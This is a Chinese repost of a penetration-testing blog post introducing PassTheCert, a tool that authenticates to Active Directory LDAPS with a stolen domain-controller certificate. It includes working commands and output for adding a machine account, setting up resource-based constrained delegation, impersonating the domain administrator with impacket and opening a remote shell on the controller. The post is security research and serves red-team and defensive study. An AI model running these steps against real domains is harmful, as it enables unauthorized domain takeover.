通过Schannel用证书验证LDAP/S服务器的POC工具-网络攻防学习社区-安全圈子-FancyPig's blog

通过Schannel用证书验证LDAP/S服务器的POC工具

项目地址

https://github.com/AlmondOffSec/PassTheCert

 

PassTheCert

有时,域控制器不支持PKINIT。这可能是因为他们的证书没有智能卡登录的EKU。

然而,包括LDAP在内的一些协议支持Schannel,因此通过TLS进行认证。我们创建了一个小型的概念验证工具,允许用证书对LDAP/S服务器进行认证,以执行不同的攻击行动。

更多信息请见随附的博文

这个资源库包含一个C#版本,由the-useless-one编写,以及一个Python版本,由ThePirateWhoSmellsOfSunflowers / drm(@lowercase_drm)编写。

博文翻译

以下是《Authenticating with certificates when PKINIT is not supported》翻译版本

介绍

SpecterOps 关于 滥用 Active Directory 证书服务 (AD CS)的 “Certified Pre-Owned” 研究使渗透测试人员在内部评估期间更容易获得域管理员权限。

以下是我们在未针对 ADCS 攻击加固的环境中进行内部渗透测试时通常会发生的情况:

  1. 获取域帐户( 例如 ,通过 Respondermitm6
  2. 查找 AD CS 网络注册服务( 例如 ,使用有效帐户和 Certify / Certipy ;或通过手动搜索在黑框中,或 ntlmrelayx.py--dump-adcs 选项)
  3. 强制域控制器连接回我们的工作站( 例如 ,通过 printerbug.pyPetitPotam
  4. 将此身份验证中继到 AD CS Web 注册服务 (在 “认证二手” 中描述的 ntlmrelayx.py 攻击 )以获得目标 DC 的证书。 ESC8
  5. 使用 PKINITtools 为目标 DC 获取 TGT(或恢复其 NT 哈希),从而接管域。

但是,我最近遇到了最后一步 (PKINIT) 不起作用的 Active Directory 环境。

TL;DR :有时,域控制器不支持 PKINIT。 这可能是因为他们的证书没有 Smart Card Logon EKU。 然而,一些协议——包括 LDAP——支持 Schannel,因此通过 TLS 进行身份验证。 我们创建了一个小型概念验证工具 PassTheCert ,它允许针对 LDAP/S 服务器进行身份验证以执行不同的攻击操作。

没有 PKINIT?

PKINIT 是一种 Kerberos 机制,允许使用 X.509 证书作为预身份验证方法。 它可用于请求 TGT,甚至是帐户的 NT 哈希。 已经有很多关于这个主题的文章,请参阅:

通常,在 Active Directory 环境中部署 PKI 时,会支持 PKINIT。 然而,在我的评估过程中,我在尝试使用(恶意获得的)域控制器证书时遇到了以下错误消息:

$ python3 ~/tools/PKINITtools/gettgtpkinit.py -cert-pfx AD2_auth.pfx 'contoso.com/AD2$' AD2.ccache
2022-04-07 12:49:00,854 minikerberos INFO     Loading certificate and key from file
2022-04-07 12:49:00,958 minikerberos INFO     Requesting TGT
Traceback (most recent call last):
  File "/home/yme/tools/PKINITtools/gettgtpkinit.py", line 349, in <module>
    main()
  File "/home/yme/tools/PKINITtools/gettgtpkinit.py", line 345, in main
    amain(args)
  File "/home/yme/tools/PKINITtools/gettgtpkinit.py", line 315, in amain
    res = sock.sendrecv(req)
  File "/home/yme/venv/PKINITtools/lib/python3.8/site-packages/minikerberos/network/clientsocket.py", line 87, in sendrecv
    raise KerberosError(krb_message)
minikerberos.protocol.errors.KerberosError:  Error Code: 16 Reason: KDC has no support for PADATA type (pre-authentication data)

 

这是此错误消息在 Wireshark 中的样子:

5d022700ac124145

 

搜索错误消息,可以快速找到 有关该主题 的 Microsoft 文档:

KDC_ERR_PADATA_TYPE_NOSUPP :

正在尝试智能卡登录,但找不到正确的证书。 发生此问题的原因可能是查询了错误的证书颁发机构 (CA),或者无法联系正确的 CA 以获得域控制器的域控制器或域控制器身份验证证书。

当域控制器没有为智能卡(域控制器或域控制器身份验证模板)安装证书时,也会发生这种情况。

证书可以有多个扩展密钥用法 (EKU)。 如果 KDC 必须支持智能卡登录,则其证书必须具有 Smart Card Logon EKU。 PKINIT 失败可能表明您的目标 KDC 没有包含必要 EKU 的证书。

如果您属于这种情况,则无法使用您的证书来获取 TGT 或 NT 哈希。 那么,您可以用您的证书做什么?

回到基础

由于没有明确的方法来使用我偷来的证书,我回到了 “Certified Pre-Owned” ,认为必须有一个部分解释如何在不依赖 Kerberos 的情况下使用证书进行身份验证。

有趣的信息在 “Active Directory Authentication with Certificates” 部分(强调我的):

在我们的研究过程中,我们还发现一些协议使用 Schannel——支持 SSL/TLS 的安全包——来验证域用户。 LDAPS 是一个普遍启用的用例 。 例如,以下屏幕截图显示了 PowerShell 脚本 Get-LdapCurrentUser 使用证书对 LDAPS 进行身份验证并执行 LDAP whoami 以查看通过身份验证的帐户 [.]

实际上,您可以使用 SSL/TLS 向域控制器进行身份验证。 这是 相关的 Microsoft 文档 (再次强调我的文档):

Active Directory 允许通过两种方式建立到 DC 的受 SSL/TLS 保护的连接。 第一种是通过受保护的 LDAPS 端口(AD DS 中的 TCP 端口 636 和 3269,以及 AD LDS 中的配置特定端口)连接到 DC。 第二种是通过常规 LDAP 端口(AD DS 中的 TCP 端口 389 或 3268,以及 AD LDS 中的特定配置端口)连接到 DC,然后发送 LDAP_SERVER_START_TLS_OID 扩展操作 [RFC2830] 。 在这两种情况下,DC 都会请求(但不要求)客户端的证书作为 SSL/TLS 握手 [RFC2246] 的一部分。 如果客户端当时向 DC 出示有效证书,DC 可以使用它来验证(绑定)连接,作为证书所代表的凭据

执行 Lee Christensen 的 Get-LdapCurrentUser 输出如下:

PS C:\> Get-LdapCurrentUser -Certificate Z:\AD2.pfx -Server AD1.contoso.com:636 -UseSSL
u:CONTOSO\AD2$

 

太好了,它有效! 这意味着我们可以向 LDAP 服务进行身份验证。 我们现在有办法使用我们的恶意 DC 证书。 然而,似乎没有支持使用 TLS 证书进行身份验证的攻击性工具。

输入 PassTheCert

因此,我创建 PassTheCert 了一个简单的 C# 工具,它可以使用客户端证书向 LDAP 服务器进行身份验证,并执行攻击者感兴趣的操作。 与大多数其他攻击性工具不同,它具有在启用 LDAP 通道绑定的环境中工作的额外好处,因为 Schannel 身份验证在设计上不受通道绑定的约束。

由于我们正在连接到 LDAP,因此我们的权限提升方法是有限的。 目前,只实施了四种攻击向量:

  • 向用户授予 DCSync 权限。 如果您设法为特权帐户获取/生成证书,例如 (仍然) 可以 WriteDacl 访问域对象的 Exchange 服务器,这将很有用。
  • 修改 msDS-AllowedToActOnBehalfOfOtherIdentity 域机器的属性以执行基于 资源的约束委派 (RBCD) 攻击 。 这很好,因为机器可以更新自己的属性。
  • 将计算机添加到域中,这对于执行 RBCD 攻击很有用。 这也是一个很好的方法,因为默认情况下经过身份验证的用户可以将机器添加到域中,并且它与上面的攻击非常相配。
  • 重置帐户密码。 这需要对 User-Force-Change-Password 目标帐户的权限。

您可以在此处 找到代码 ,以及由 @lowercase_drm 实现的 Python 版本。 Google 员工注意事项:此工具扩展了 Pass the Certificate的概念, @_nwodtuhs 在他 关于 AD CS 和 PKINIT 的 Twitter 线程 中将其命名为 。

现在,假设您处于与我相似的情况:您拥有域控制器的证书,但没有 PKINIT。 您可以先在域中创建一台新计算机:

PS C:\> .\PassTheCert.exe --server ad1.contoso.com --cert-path Z:\ad2.pfx --add-computer --computer-name DESKTOP-1337$
No password given, generating random one.
Generated password: Q2cpNOMhwlU2yZQBPAbJ1YY9M9XJIfBc
Success

 

现在您拥有了一台由您控制的计算机,并定义了 SPN 和所有内容,您可以将其 SID 添加到您的域控制器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中:

PS C:\> .\PassTheCert.exe --server ad1.contoso.com --cert-path Z:\ad2.pfx --rbcd --target "CN=AD2,OU=Domain Controllers,DC=contoso,DC=com" --sid "S-1-5-21-863927164-4106933278-53377030-3122"
msDS-AllowedToActOnBehalfOfOtherIdentity attribute is empty
You can clear it using arguments:
        --target "CN=AD2,OU=Domain Controllers,DC=contoso,DC=com" --restore clear
Success

 

现在已经完成,你可以回到你信任的地方 impacket 执行 RBCD 攻击,并在你的 DC 上冒充域管理员:

$ getST.py -spn 'cifs/ad2.contoso.com' -impersonate Administrateur 'contoso.com/desktop-1337$:Q2cpNOMhwlU2yZQBPAbJ1YY9M9XJIfBc'
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrateur
[*]         Requesting S4U2self
[*]         Requesting S4U2Proxy
[*] Saving ticket in Administrateur.ccache
$ export KRB5CCNAME=Administrateur.ccache
$ wmiexec.py -k -no-pass contoso.com/Administrateur@ad2.contoso.com
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
contoso\administrateur

 

以下是使用该工具的 Python 版本进行的攻击:

b20724c864124330

 

通过 Schannel 进行身份验证会生成 ID 为 4648 和 的两个事件 4624 ,就像任何身份验证机制一样。 我们可以看到登录进程是Schannel。 身份验证设置为 Kerberos,这似乎证实 了白皮书“Certified Pre-Owned” (第 32 页):

Schannel 首先尝试使用 Kerberos 的 S4U2Self 功能将凭据映射到用户帐户。 如果不成功,它将尝试使用证书的 SAN 扩展、主题和颁发者字段的组合或仅来自颁发者 [.] 将证书映射到用户帐户。

ef5f860de8124342

1a8ecce61a124354

 

未来的工作

PassTheCert 是开源的,所以可以随意扩展它。 目前,它是一个非常简单的工具,主要用作概念验证。 它只支持 LDAP/S 协议,并且只实现了最低限度的操作。 正如“Certified Pre-Owned”(第 32 页)白皮书 所提醒的那样 ,其他协议支持 Schannel 身份验证,但似乎并不是开箱即用的。 不过,如果能够使用 ESC8 通过 RDP 获得的证书进行身份验证,那就太好了。

我们还在考虑在 pywerview 中实现证书身份验证,这将允许在 LDAP 服务器上执行更多操作(例如,读取 gMSA 的密码)。

然而,在 中实施证书身份验证 impacket 虽然不是一件容易的事,但对我们的进攻工具包来说是一个很好的补充。

最后,如果您阅读了有关 DC 的 SSL/TLS 连接的 Microsoft 文档的摘录,您可能已经看到我们可以通过两种不同的方式通过 TLS 进行身份验证:

  1. 直接在 LDAPS 端口 (TCP/636)
  2. 通过 StartTLS 在 LDAP 端口 (TCP/389) 上

PassTheCert 支持两种方式,这允许在 TCP/636 关闭时在 TCP/389 上使用它。

这是 @lowercase_drm关于 通过 StartTLS 绕过 LDAP 通道绑定 的研究的切入点 ,再次表明深入研究子集可能会导致意想不到的发现。

请登录后发表评论

    没有回复内容